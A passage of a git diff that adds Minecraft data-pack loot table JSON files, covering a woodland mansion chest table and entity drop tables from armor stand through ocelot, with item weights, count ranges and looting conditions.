"minecraft:iron_pickaxe" + }, + { + "type": "minecraft:item", + "weight": 5, + "name": "minecraft:iron_sword" + }, + { + "type": "minecraft:item", + "weight": 5, + "name": "minecraft:iron_chestplate" + }, + { + "type": "minecraft:item", + "weight": 5, + "name": "minecraft:iron_helmet" + }, + { + "type": "minecraft:item", + "weight": 5, + "name": "minecraft:iron_leggings" + }, + { + "type": "minecraft:item", + "weight": 5, + "name": "minecraft:iron_boots" + }, + { + "type": "minecraft:item", + "weight": 5, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 3.0, + "max": 7.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:obsidian" + }, + { + "type": "minecraft:item", + "weight": 5, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 3.0, + "max": 7.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:oak_sapling" + }, + { + "type": "minecraft:item", + "weight": 3, + "name": "minecraft:saddle" + }, + { + "type": "minecraft:item", + "name": "minecraft:iron_horse_armor" + }, + { + "type": "minecraft:item", + "name": "minecraft:golden_horse_armor" + }, + { + "type": "minecraft:item", + "name": "minecraft:diamond_horse_armor" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/chests/woodland_mansion.json b/src/data/minecraft/loot_tables/chests/woodland_mansion.json new file mode 100644 index 00000000..68c442b5 --- /dev/null +++ b/src/data/minecraft/loot_tables/chests/woodland_mansion.json @@ -0,0 +1,273 @@ +{ + "type": "minecraft:chest", + "pools": [ + { + "rolls": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + }, + "entries": [ + { + "type": "minecraft:item", + "weight": 20, + "name": "minecraft:lead" + }, + { + "type": "minecraft:item", + "weight": 15, + "name": "minecraft:golden_apple" + }, + { + "type": "minecraft:item", + "weight": 2, + "name": "minecraft:enchanted_golden_apple" + }, + { + "type": "minecraft:item", + "weight": 15, + "name": "minecraft:music_disc_13" + }, + { + "type": "minecraft:item", + "weight": 15, + "name": "minecraft:music_disc_cat" + }, + { + "type": "minecraft:item", + "weight": 20, + "name": "minecraft:name_tag" + }, + { + "type": "minecraft:item", + "weight": 10, + "name": "minecraft:chainmail_chestplate" + }, + { + "type": "minecraft:item", + "weight": 15, + "name": "minecraft:diamond_hoe" + }, + { + "type": "minecraft:item", + "weight": 5, + "name": "minecraft:diamond_chestplate" + }, + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:enchant_randomly" + } + ], + "name": "minecraft:book" + } + ] + }, + { + "rolls": { + "min": 1.0, + "max": 4.0, + "type": "minecraft:uniform" + }, + "entries": [ + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 4.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:iron_ingot" + }, + { + "type": "minecraft:item", + "weight": 5, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 4.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:gold_ingot" + }, + { + "type": "minecraft:item", + "weight": 20, + "name": "minecraft:bread" + }, + { + "type": "minecraft:item", + "weight": 20, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 4.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:wheat" + }, + { + "type": "minecraft:item", + "weight": 10, + "name": "minecraft:bucket" + }, + { + "type": "minecraft:item", + "weight": 15, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 4.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:redstone" + }, + { + "type": "minecraft:item", + "weight": 15, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 4.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:coal" + }, + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 2.0, + "max": 4.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:melon_seeds" + }, + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 2.0, + "max": 4.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:pumpkin_seeds" + }, + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 2.0, + "max": 4.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:beetroot_seeds" + } + ] + }, + { + "rolls": 3, + "entries": [ + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 8.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:bone" + }, + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 8.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:gunpowder" + }, + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 8.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:rotten_flesh" + }, + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 8.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:string" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/armor_stand.json b/src/data/minecraft/loot_tables/entities/armor_stand.json new file mode 100644 index 00000000..601c1935 --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/armor_stand.json @@ -0,0 +1,3 @@ +{ + "type": "minecraft:entity" +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/bat.json b/src/data/minecraft/loot_tables/entities/bat.json new file mode 100644 index 00000000..601c1935 --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/bat.json @@ -0,0 +1,3 @@ +{ + "type": "minecraft:entity" +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/bee.json b/src/data/minecraft/loot_tables/entities/bee.json new file mode 100644 index 00000000..601c1935 --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/bee.json @@ -0,0 +1,3 @@ +{ + "type": "minecraft:entity" +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/blaze.json b/src/data/minecraft/loot_tables/entities/blaze.json new file mode 100644 index 00000000..bc516a9b --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/blaze.json @@ -0,0 +1,36 @@ +{ + "type": "minecraft:entity", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 0.0, + "max": 1.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:looting_enchant", + "count": { + "min": 0.0, + "max": 1.0 + } + } + ], + "name": "minecraft:blaze_rod" + } + ], + "conditions": [ + { + "condition": "minecraft:killed_by_player" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/cat.json b/src/data/minecraft/loot_tables/entities/cat.json new file mode 100644 index 00000000..b3ab791a --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/cat.json @@ -0,0 +1,24 @@ +{ + "type": "minecraft:entity", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 0.0, + "max": 2.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:string" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/cave_spider.json b/src/data/minecraft/loot_tables/entities/cave_spider.json new file mode 100644 index 00000000..bb4f2c62 --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/cave_spider.json @@ -0,0 +1,62 @@ +{ + "type": "minecraft:entity", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 0.0, + "max": 2.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:looting_enchant", + "count": { + "min": 0.0, + "max": 1.0 + } + } + ], + "name": "minecraft:string" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": -1.0, + "max": 1.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:looting_enchant", + "count": { + "min": 0.0, + "max": 1.0 + } + } + ], + "name": "minecraft:spider_eye" + } + ], + "conditions": [ + { + "condition": "minecraft:killed_by_player" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/chicken.json b/src/data/minecraft/loot_tables/entities/chicken.json new file mode 100644 index 00000000..658d3232 --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/chicken.json @@ -0,0 +1,63 @@ +{ + "type": "minecraft:entity", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 0.0, + "max": 2.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:looting_enchant", + "count": { + "min": 0.0, + "max": 1.0 + } + } + ], + "name": "minecraft:feather" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:furnace_smelt", + "conditions": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "flags": { + "is_on_fire": true + } + }, + "entity": "this" + } + ] + }, + { + "function": "minecraft:looting_enchant", + "count": { + "min": 0.0, + "max": 1.0 + } + } + ], + "name": "minecraft:chicken" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/cod.json b/src/data/minecraft/loot_tables/entities/cod.json new file mode 100644 index 00000000..28628d7f --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/cod.json @@ -0,0 +1,45 @@ +{ + "type": "minecraft:entity", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:furnace_smelt", + "conditions": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "flags": { + "is_on_fire": true + } + }, + "entity": "this" + } + ] + } + ], + "name": "minecraft:cod" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:bone_meal" + } + ], + "conditions": [ + { + "condition": "minecraft:random_chance", + "chance": 0.05 + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/cow.json b/src/data/minecraft/loot_tables/entities/cow.json new file mode 100644 index 00000000..ec3eaf2f --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/cow.json @@ -0,0 +1,71 @@ +{ + "type": "minecraft:entity", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 0.0, + "max": 2.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:looting_enchant", + "count": { + "min": 0.0, + "max": 1.0 + } + } + ], + "name": "minecraft:leather" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:furnace_smelt", + "conditions": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "flags": { + "is_on_fire": true + } + }, + "entity": "this" + } + ] + }, + { + "function": "minecraft:looting_enchant", + "count": { + "min": 0.0, + "max": 1.0 + } + } + ], + "name": "minecraft:beef" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/creeper.json b/src/data/minecraft/loot_tables/entities/creeper.json new file mode 100644 index 00000000..0e67d66d --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/creeper.json @@ -0,0 +1,50 @@ +{ + "type": "minecraft:entity", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 0.0, + "max": 2.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:looting_enchant", + "count": { + "min": 0.0, + "max": 1.0 + } + } + ], + "name": "minecraft:gunpowder" + } + ] + }, + { + "rolls": 1.0, + "entries": [ + { + "type": "minecraft:tag", + "name": "minecraft:creeper_drop_music_discs", + "expand": true + } + ], + "conditions": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "#minecraft:skeletons" + }, + "entity": "killer" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/dolphin.json b/src/data/minecraft/loot_tables/entities/dolphin.json new file mode 100644 index 00000000..01ce8bfc --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/dolphin.json @@ -0,0 +1,45 @@ +{ + "type": "minecraft:entity", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 0.0, + "max": 1.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:looting_enchant", + "count": { + "min": 0.0, + "max": 1.0 + } + }, + { + "function": "minecraft:furnace_smelt", + "conditions": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "flags": { + "is_on_fire": true + } + }, + "entity": "this" + } + ] + } + ], + "name": "minecraft:cod" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/donkey.json b/src/data/minecraft/loot_tables/entities/donkey.json new file mode 100644 index 00000000..49fd3dd9 --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/donkey.json @@ -0,0 +1,31 @@ +{ + "type": "minecraft:entity", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 0.0, + "max": 2.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:looting_enchant", + "count": { + "min": 0.0, + "max": 1.0 + } + } + ], + "name": "minecraft:leather" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/drowned.json b/src/data/minecraft/loot_tables/entities/drowned.json new file mode 100644 index 00000000..9d8ad898 --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/drowned.json @@ -0,0 +1,50 @@ +{ + "type": "minecraft:entity", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 0.0, + "max": 2.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:looting_enchant", + "count": { + "min": 0.0, + "max": 1.0 + } + } + ], + "name": "minecraft:rotten_flesh" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:gold_ingot" + } + ], + "conditions": [ + { + "condition": "minecraft:killed_by_player" + }, + { + "condition": "minecraft:random_chance_with_looting", + "chance": 0.05, + "looting_multiplier": 0.01 + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/elder_guardian.json b/src/data/minecraft/loot_tables/entities/elder_guardian.json new file mode 100644 index 00000000..b2bc4df6 --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/elder_guardian.json @@ -0,0 +1,114 @@ +{ + "type": "minecraft:entity", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 0.0, + "max": 2.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:looting_enchant", + "count": { + "min": 0.0, + "max": 1.0 + } + } + ], + "name": "minecraft:prismarine_shard" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "weight": 3, + "functions": [ + { + "function": "minecraft:looting_enchant", + "count": { + "min": 0.0, + "max": 1.0 + } + }, + { + "function": "minecraft:furnace_smelt", + "conditions": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "flags": { + "is_on_fire": true + } + }, + "entity": "this" + } + ] + } + ], + "name": "minecraft:cod" + }, + { + "type": "minecraft:item", + "weight": 2, + "functions": [ + { + "function": "minecraft:looting_enchant", + "count": { + "min": 0.0, + "max": 1.0 + } + } + ], + "name": "minecraft:prismarine_crystals" + }, + { + "type": "minecraft:empty" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:wet_sponge" + } + ], + "conditions": [ + { + "condition": "minecraft:killed_by_player" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:loot_table", + "name": "minecraft:gameplay/fishing/fish" + } + ], + "conditions": [ + { + "condition": "minecraft:killed_by_player" + }, + { + "condition": "minecraft:random_chance_with_looting", + "chance": 0.025, + "looting_multiplier": 0.01 + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/ender_dragon.json b/src/data/minecraft/loot_tables/entities/ender_dragon.json new file mode 100644 index 00000000..601c1935 --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/ender_dragon.json @@ -0,0 +1,3 @@ +{ + "type": "minecraft:entity" +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/enderman.json b/src/data/minecraft/loot_tables/entities/enderman.json new file mode 100644 index 00000000..eb80c946 --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/enderman.json @@ -0,0 +1,31 @@ +{ + "type": "minecraft:entity", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 0.0, + "max": 1.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:looting_enchant", + "count": { + "min": 0.0, + "max": 1.0 + } + } + ], + "name": "minecraft:ender_pearl" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/endermite.json b/src/data/minecraft/loot_tables/entities/endermite.json new file mode 100644 index 00000000..601c1935 --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/endermite.json @@ -0,0 +1,3 @@ +{ + "type": "minecraft:entity" +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/evoker.json b/src/data/minecraft/loot_tables/entities/evoker.json new file mode 100644 index 00000000..032f0ebe --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/evoker.json @@ -0,0 +1,45 @@ +{ + "type": "minecraft:entity", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:totem_of_undying" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 0.0, + "max": 1.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:looting_enchant", + "count": { + "min": 0.0, + "max": 1.0 + } + } + ], + "name": "minecraft:emerald" + } + ], + "conditions": [ + { + "condition": "minecraft:killed_by_player" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/fox.json b/src/data/minecraft/loot_tables/entities/fox.json new file mode 100644 index 00000000..601c1935 --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/fox.json @@ -0,0 +1,3 @@ +{ + "type": "minecraft:entity" +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/ghast.json b/src/data/minecraft/loot_tables/entities/ghast.json new file mode 100644 index 00000000..5bc5580c --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/ghast.json @@ -0,0 +1,57 @@ +{ + "type": "minecraft:entity", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 0.0, + "max": 1.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:looting_enchant", + "count": { + "min": 0.0, + "max": 1.0 + } + } + ], + "name": "minecraft:ghast_tear" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 0.0, + "max": 2.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:looting_enchant", + "count": { + "min": 0.0, + "max": 1.0 + } + } + ], + "name": "minecraft:gunpowder" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/giant.json b/src/data/minecraft/loot_tables/entities/giant.json new file mode 100644 index 00000000..601c1935 --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/giant.json @@ -0,0 +1,3 @@ +{ + "type": "minecraft:entity" +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/guardian.json b/src/data/minecraft/loot_tables/entities/guardian.json new file mode 100644 index 00000000..1b7d00f2 --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/guardian.json @@ -0,0 +1,100 @@ +{ + "type": "minecraft:entity", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 0.0, + "max": 2.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:looting_enchant", + "count": { + "min": 0.0, + "max": 1.0 + } + } + ], + "name": "minecraft:prismarine_shard" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "weight": 2, + "functions": [ + { + "function": "minecraft:looting_enchant", + "count": { + "min": 0.0, + "max": 1.0 + } + }, + { + "function": "minecraft:furnace_smelt", + "conditions": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "flags": { + "is_on_fire": true + } + }, + "entity": "this" + } + ] + } + ], + "name": "minecraft:cod" + }, + { + "type": "minecraft:item", + "weight": 2, + "functions": [ + { + "function": "minecraft:looting_enchant", + "count": { + "min": 0.0, + "max": 1.0 + } + } + ], + "name": "minecraft:prismarine_crystals" + }, + { + "type": "minecraft:empty" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:loot_table", + "name": "minecraft:gameplay/fishing/fish" + } + ], + "conditions": [ + { + "condition": "minecraft:killed_by_player" + }, + { + "condition": "minecraft:random_chance_with_looting", + "chance": 0.025, + "looting_multiplier": 0.01 + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/hoglin.json b/src/data/minecraft/loot_tables/entities/hoglin.json new file mode 100644 index 00000000..0883efcb --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/hoglin.json @@ -0,0 +1,71 @@ +{ + "type": "minecraft:entity", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 2.0, + "max": 4.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:furnace_smelt", + "conditions": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "flags": { + "is_on_fire": true + } + }, + "entity": "this" + } + ] + }, + { + "function": "minecraft:looting_enchant", + "count": { + "min": 0.0, + "max": 1.0 + } + } + ], + "name": "minecraft:porkchop" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 0.0, + "max": 1.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:looting_enchant", + "count": { + "min": 0.0, + "max": 1.0 + } + } + ], + "name": "minecraft:leather" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/horse.json b/src/data/minecraft/loot_tables/entities/horse.json new file mode 100644 index 00000000..49fd3dd9 --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/horse.json @@ -0,0 +1,31 @@ +{ + "type": "minecraft:entity", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 0.0, + "max": 2.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:looting_enchant", + "count": { + "min": 0.0, + "max": 1.0 + } + } + ], + "name": "minecraft:leather" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/husk.json b/src/data/minecraft/loot_tables/entities/husk.json new file mode 100644 index 00000000..61361d5a --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/husk.json @@ -0,0 +1,58 @@ +{ + "type": "minecraft:entity", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 0.0, + "max": 2.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:looting_enchant", + "count": { + "min": 0.0, + "max": 1.0 + } + } + ], + "name": "minecraft:rotten_flesh" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:iron_ingot" + }, + { + "type": "minecraft:item", + "name": "minecraft:carrot" + }, + { + "type": "minecraft:item", + "name": "minecraft:potato" + } + ], + "conditions": [ + { + "condition": "minecraft:killed_by_player" + }, + { + "condition": "minecraft:random_chance_with_looting", + "chance": 0.025, + "looting_multiplier": 0.01 + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/illusioner.json b/src/data/minecraft/loot_tables/entities/illusioner.json new file mode 100644 index 00000000..601c1935 --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/illusioner.json @@ -0,0 +1,3 @@ +{ + "type": "minecraft:entity" +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/iron_golem.json b/src/data/minecraft/loot_tables/entities/iron_golem.json new file mode 100644 index 00000000..c0b6b384 --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/iron_golem.json @@ -0,0 +1,43 @@ +{ + "type": "minecraft:entity", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 0.0, + "max": 2.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:poppy" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 3.0, + "max": 5.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:iron_ingot" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/llama.json b/src/data/minecraft/loot_tables/entities/llama.json new file mode 100644 index 00000000..49fd3dd9 --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/llama.json @@ -0,0 +1,31 @@ +{ + "type": "minecraft:entity", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 0.0, + "max": 2.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:looting_enchant", + "count": { + "min": 0.0, + "max": 1.0 + } + } + ], + "name": "minecraft:leather" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/magma_cube.json b/src/data/minecraft/loot_tables/entities/magma_cube.json new file mode 100644 index 00000000..86c1e547 --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/magma_cube.json @@ -0,0 +1,31 @@ +{ + "type": "minecraft:entity", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": -2.0, + "max": 1.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:looting_enchant", + "count": { + "min": 0.0, + "max": 1.0 + } + } + ], + "name": "minecraft:magma_cream" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/mooshroom.json b/src/data/minecraft/loot_tables/entities/mooshroom.json new file mode 100644 index 00000000..ec3eaf2f --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/mooshroom.json @@ -0,0 +1,71 @@ +{ + "type": "minecraft:entity", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 0.0, + "max": 2.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:looting_enchant", + "count": { + "min": 0.0, + "max": 1.0 + } + } + ], + "name": "minecraft:leather" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:furnace_smelt", + "conditions": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "flags": { + "is_on_fire": true + } + }, + "entity": "this" + } + ] + }, + { + "function": "minecraft:looting_enchant", + "count": { + "min": 0.0, + "max": 1.0 + } + } + ], + "name": "minecraft:beef" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/mule.json b/src/data/minecraft/loot_tables/entities/mule.json new file mode 100644 index 00000000..49fd3dd9 --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/mule.json @@ -0,0 +1,31 @@ +{ + "type": "minecraft:entity", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 0.0, + "max": 2.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:looting_enchant", + "count": { + "min": 0.0, + "max": 1.0 + } + } + ], + "name": "minecraft:leather" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/ocelot.json b/src/data/minecraft/loot_tables/entities/ocelot.json new file mode 100644 index 00000000..601c1935 --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/ocelot.json @@ -0,0 +1,3 @@ +{ + "type": "minecraft:entity" +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/panda.json b/src/data/minecraft/loot_tables/entities/panda.json new file mode 100644 index 00000000..6078cd6c --- 